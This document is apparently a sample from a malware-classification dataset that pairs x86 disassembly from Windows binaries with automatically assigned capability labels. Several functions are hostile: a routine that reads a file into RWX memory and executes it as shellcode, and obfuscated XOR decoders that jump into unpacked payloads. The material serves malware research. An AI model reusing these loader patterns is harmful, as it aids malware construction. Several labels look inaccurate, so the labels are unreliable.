joyce8/EMBER2024-capa huggingface dataset:
Function at 0x88aae0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x274000]
push edi
jmp 0x88aafa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x88ab01
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x88aaf0
mov eax, 1
add ebx, ebx
jne 0x88ab13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x88ab24
jne 0x88ab43
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x88ab43
dec eax
add ebx, ebx
jne 0x88ab30
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x88ab08
add ebx, ebx
jne 0x88ab3f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x88ab95
xor ecx, ecx
sub eax, 3
jb 0x88ab5b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x88abca
sar eax, 1
mov ebp, eax
jmp 0x88ab66
add ebx, ebx
jne 0x88ab66
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x88ab34
inc ecx
add ebx, ebx
jne 0x88ab74
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x88ab34
add ebx, ebx
jne 0x88ab81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x88ab76
jne 0x88ab92
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x88ab76
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x88abb4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x88aba6
jmp 0x88aaf6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x88abb4
add edi, ecx
jmp 0x88aaf6
pop esi
mov edi, esi
mov ecx, 0xb3b6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x88abd2
cmp byte [edi], 0x24
jne 0x88abd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x88abd7
lea edi, [esi + 0x487000]
mov eax, dword [edi]
or eax, eax
je 0x88ac4f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4cd098]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4cd1f8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x88ac04
mov ecx, edi
jns 0x88ac33
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4cd200]
or eax, eax
je 0x88ac49
mov dword [ebx], eax
add ebx, 4
jmp 0x88ac21
call dword [esi + 0x4cd1fc]
mov ebp, dword [esi + 0x4cd204]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x88ac83
sub esp, 0xffffff80
jmp 0x571ce2
Function at 0x42cbb0
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x42cbde
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x42cbfc
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0042cb1a
jmp 0x42cbfc
mov eax, dword [esi + 0x14]
test eax, eax
je 0x42cbfc
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.0042cb1a
test edi, edi
mov eax, edi
jne 0x42cbe6
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x440e88]
test ecx, ecx
je 0x42ccaf
jmp 0x42cbaf
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x40ffd9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40ffe8
pop dword [ebp - 0xc]
mov eax, 0x7657548d
add eax, 0x89e9ab5b
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x40cdc
push 0
mov eax, 0xdcb83531
add eax, 0x238a1ce7
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xed7bb546
sub ecx, 0xed7b616a
mov ebx, eax
mov edx, 0x435400
add edx, dword [ebp - 0xc]
mov edi, 0xcb66dc1
add dword [ebp - 8], 0xae6a6685
mov esi, dword [edx]
sub dword [ebp - 8], edx
add esi, edi
xor dword [ebp - 4], 0x348d4054
mov dword [ebx], esi
add dword [ebp - 4], esi
add ebx, 0x124814df
sub ebx, 0x124814db
add edx, 0xe223c3d8
add edx, 0x1ddc3c2c
loop 0x41003b
add eax, 0x879f9285
sub eax, 0x879e5042
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2086f3b9
sub ecx, 0x2046f3b9
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret
Function at 0x49390e
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x4c87c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.00493786
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.00466dd0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x49395d
cmp dword [ebp - 0x1c], 5
jb 0x493975
jmp 0x493971
cmp dword [ebp - 0x10], 1
jne 0x493975
cmp dword [ebp - 0x1c], 4
ja 0x493971
jne 0x493975
cmp dword [ebp - 0x18], 0
jbe 0x493975
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4b2a00
call fcn.00493543
test eax, eax
jge 0x493996
mov byte [0x4c9f78], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00465e78
add ebp, 0x78
leave
ret
Function at 0x10034690
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x10200c9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x102044b0]
mov dword [ebp - 0x60], 0
test eax, eax
jne 0x1003477f
push 0x55
push 0x102044b8
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10034768
push esi
push 0x55
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.1010ca00
add esp, 0xc
mov esi, 0x2d
xor edx, edx
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [edx*2 + 0x102044b8]
cmp eax, 0x5f
movzx ecx, al
cmove ecx, esi
mov byte [ebp + edx - 0x5c], cl
test cl, cl
je 0x10034713
inc edx
cmp edx, 0x55
jl 0x100346f0
mov byte [ebp - 8], 0
push 0x41
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
mov esi, eax
add esp, 4
test esi, esi
je 0x10034767
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
add esp, 0x10
cmp dword [ebp - 0x60], 0
jg 0x1003475e
push 0x10033e30
push 0x17
mov byte [eax + esi], 0
mov dword [0x102044b0], esi
mov byte [0x102044b4], 1
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
add esp, 8
jmp 0x10034767
push esi
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
add esp, 4
pop esi
mov eax, dword [0x102044b0]
mov ecx, 0x1016b5e8
test eax, eax
cmovne ecx, eax
mov dword [0x102044b0], ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e9efb
mov esp, ebp
pop ebp
ret
Function at 0x10061070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1006107f
pop dword [ebp - 0x48]
mov eax, 0x1006107f
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x87221
push 0
mov eax, 0x10654845
add eax, 0xffb088ff
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0xc61d630a
sub ecx, 0xc61d2d94
xor edx, edx
add edx, eax
mov edi, 0x6ffaa82d
sub edi, 0x5fd94c2d
add edi, dword [ebp - 0x48]
mov esi, 0xdd414020
add dword [ebp - 0x1c], edx
mov ebx, dword [edi]
xor dword [ebp - 0xc], ebx
xor ebx, esi
xor dword [ebp - 0x44], 0x8de2fe6d
mov dword [edx], ebx
xor dword [ebp - 0x44], 0x19b9b86d
add edx, 0x153a84b9
sub edx, 0x153a84b5
add edi, 0xf5fc153b
sub edi, 0xf5fc1537
loop 0x100610d5
add eax, 0xd4f137b1
add eax, 0x2b0f90fa
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x100a9710
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b68
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push 0
push dword [ebp + 8]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_69::UnicodeSet.0
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100a97c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b98
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 8]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], 0x110000
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100ad890
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158f58
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0x18]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x14]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 0x10]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
push dword [ebp + 0xc]
mov dword [esi + 8], eax
push dword [ebp + 8]
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x14

Function at 0x100ad950
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158f88
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0x14]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 0x10]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 0xc]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
push dword [ebp + 8]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x100ae130
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10159098
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
push dword [ebp + 8]
mov dword [esi], vtable.icu_69::UnicodeSet.0
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call sym.icuuc69.dll_private:_void___thiscall_icu_69::LocaleMatcher::constructor_class_icu_69::LocaleMatcher::Builder_const___enum_UErrorCode__
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10580000
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov al, byte [0x1056b158]
test eax, eax
je 0x1058001d
mov cl, byte [0x1056b608]
or cl, 1
mov byte [0x1056b608], cl
cmp dword [0x1056b130], 0
je 0x10580035
mov dl, byte [0x1056b608]
or dl, 8
mov byte [0x1056b608], dl
xor eax, eax
mov al, byte [0x1056b608]
test eax, eax
je 0x1058009f
cmp dword [0x1056b13c], 0
je 0x10580059
push 0x1056ddfc
push 0x1056de00
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov ecx, dword [0x1057a454]
push ecx
mov dl, byte [0x1056b608]
push edx
push 0x1056b3b0
push 0x1056b158
mov eax, dword [0x1056b140]
push eax
mov ecx, dword [0x1056b13c]
push ecx
mov edx, dword [0x1056b138]
push edx
mov eax, dword [0x1056b134]
push eax
mov ecx, dword [0x1056b130]
push ecx
push 0x1056b128
call fcn.10583498
add esp, 0x28
pop ebp
ret
Function at 0x1058175f
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov word [ebp - 8], 0
call fcn.10582a78
mov word [ebp - 4], ax
cmp dword [0x1057a570], 0
je 0x10581789
mov dword [0x1057ab44], 0
jmp 0x10581793
mov dword [0x1057ab44], 1
cmp dword [0x1057ab44], 0
je 0x10581993
cmp dword [0x1056ddf8], 1
je 0x105817ba
mov eax, dword [0x1056ddf4]
cmp eax, dword [0x1056ddf0]
jne 0x1058192c
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 5
idiv ecx
add edx, 1
mov dword [0x1056ddf0], edx
mov dword [0x1056ddf4], 1
mov edx, dword [0x1057c818]
and edx, 0x1f3
mov dword [0x1057a550], edx
mov eax, dword [0x1057a550]
mov ecx, dword [eax*4 + 0x1056a010]
xor ecx, 0xfd0699d6
mov dword [0x1057a540], ecx
mov dword [0x1057a544], 0
push 4
push 0
push 0x1057a544
push 0x1057a540
movzx dx, byte [0x1056a00d]
push edx
push 0x1057a6ac
call fcn.10584480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x10581876
mov ecx, dword [0x1057a544]
xor ecx, 0x7b2309a7
mov edx, dword [0x1057a550]
xor ecx, dword [edx*4 + 0x1056a7e0]
test ecx, ecx
je 0x10581920
xor eax, eax
mov al, byte [0x1056cf6a]
cmp eax, 0x31
jne 0x10581888
mov word [ebp - 4], 3
xor ecx, ecx
mov cl, byte [0x1056cf6a]
cmp ecx, 0x32
je 0x105818a2
xor edx, edx
mov dl, byte [0x1056cf6a]
cmp edx, 0x33
jne 0x105818a8
mov word [ebp - 4], 0
mov dword [0x1056ddf8], 1
cmp dword [0x1057a594], 0
jne 0x1058191e
xor eax, eax
mov al, byte [0x1056cf6a]
cmp eax, 0x32
je 0x105818d4
xor ecx, ecx
mov cl, byte [0x1056cf6a]
cmp ecx, 0x33
jne 0x1058191e
mov edx, dword [0x1057a69c]
push edx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [0x1057a54c], 0xc
push 0x2010
call fcn.105800a1
push eax
call fcn.105828db
add esp, 8
mov dword [0x1057a54c], 0
mov eax, dword [0x1057a69c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [0x1057a594], 1
jmp 0x1058192a
mov dword [0x1056ddf8], 0
jmp 0x10581991
mov ecx, dword [0x1056ddf4]
add ecx, 1
mov dword [0x1056ddf4], ecx
mov edx, dword [0x1057c818]
mov dword [0x1057a540], edx
mov dword [0x1057a544], 0
push 4
push 0
push 0x1057a544
push 0x1057a540
push 0
push 0x1057a6ac
call fcn.10584480
mov word [ebp - 4], ax
mov eax, dword [ebp - 4]
and eax, 0xffff
test eax, eax
jne 0x1058198b
mov ecx, dword [0x1057a544]
xor ecx, dword [0x1057c818]
test ecx, ecx
je 0x10581991
mov word [ebp - 4], 3
jmp 0x105819f7
mov edx, dword [0x1056ddf4]
add edx, 1
mov dword [0x1056ddf4], edx
mov eax, dword [0x1057c818]
mov dword [0x1057a540], eax
mov dword [0x1057a544], 0
push 4
push 0
push 0x1057a544
push 0x1057a540
push 0
push 0x1057a6ac
call fcn.10584480
mov word [ebp - 4], ax
mov ecx, dword [ebp - 4]
and ecx, 0xffff
test ecx, ecx
jne 0x105819f1
mov edx, dword [0x1057a544]
xor edx, dword [0x1057c818]
test edx, edx
je 0x105819f7
mov word [ebp - 4], 3
mov ax, word [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10581ec1
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x1057c800
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x64
jge 0x10581f3e
mov eax, dword [ebp - 8]
cmp dword [eax*4 + 0x1057c820], 0
je 0x10581f2d
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x1057c820]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x10581f2d
cmp dword [ebp - 4], 0x103
je 0x10581f2d
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x1057c820]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [eax*4 + 0x1057c820], 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.10582116
add esp, 4
mov dword [ebp - 8], eax
jmp 0x10581ed9
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 0x64
jge 0x10581f7a
mov edx, dword [ebp - 8]
cmp dword [edx*4 + 0x1057c820], 0
je 0x10581f69
mov eax, dword [ebp - 8]
mov ecx, dword [eax*4 + 0x1057c820]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov edx, dword [ebp - 8]
push edx
call fcn.10582116
add esp, 4
mov dword [ebp - 8], eax
jmp 0x10581f45
mov esp, ebp
pop ebp
ret

Function at 0x10581f7e
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0x64
jge 0x10581fbe
mov eax, dword [ebp - 4]
cmp dword [eax*4 + 0x1057c820], 0
je 0x10581fad
mov ecx, dword [ebp - 4]
mov edx, dword [ecx*4 + 0x1057c820]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 4]
push eax
call fcn.10582116
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10581f89
push 0x1057c800
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esp, ebp
pop ebp
ret

Function at 0x10583cf0
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
pop edi
je 0x10583d65
mov eax, dword [esp + 0x10]
mov ecx, 2
sub eax, ecx
je 0x10583d3c
mov word [0x1057ab50], cx
call fcn.105861a0
add esp, 0x94
ret
cmp dword [esp + 4], 5
jne 0x10583d29
mov edx, dword [esp + 8]
mov eax, 1
cmp edx, eax
jb 0x10583d29
mov word [0x1057ab50], ax
call fcn.10583a40
call fcn.10583bd0
call fcn.105861a0
add esp, 0x94
ret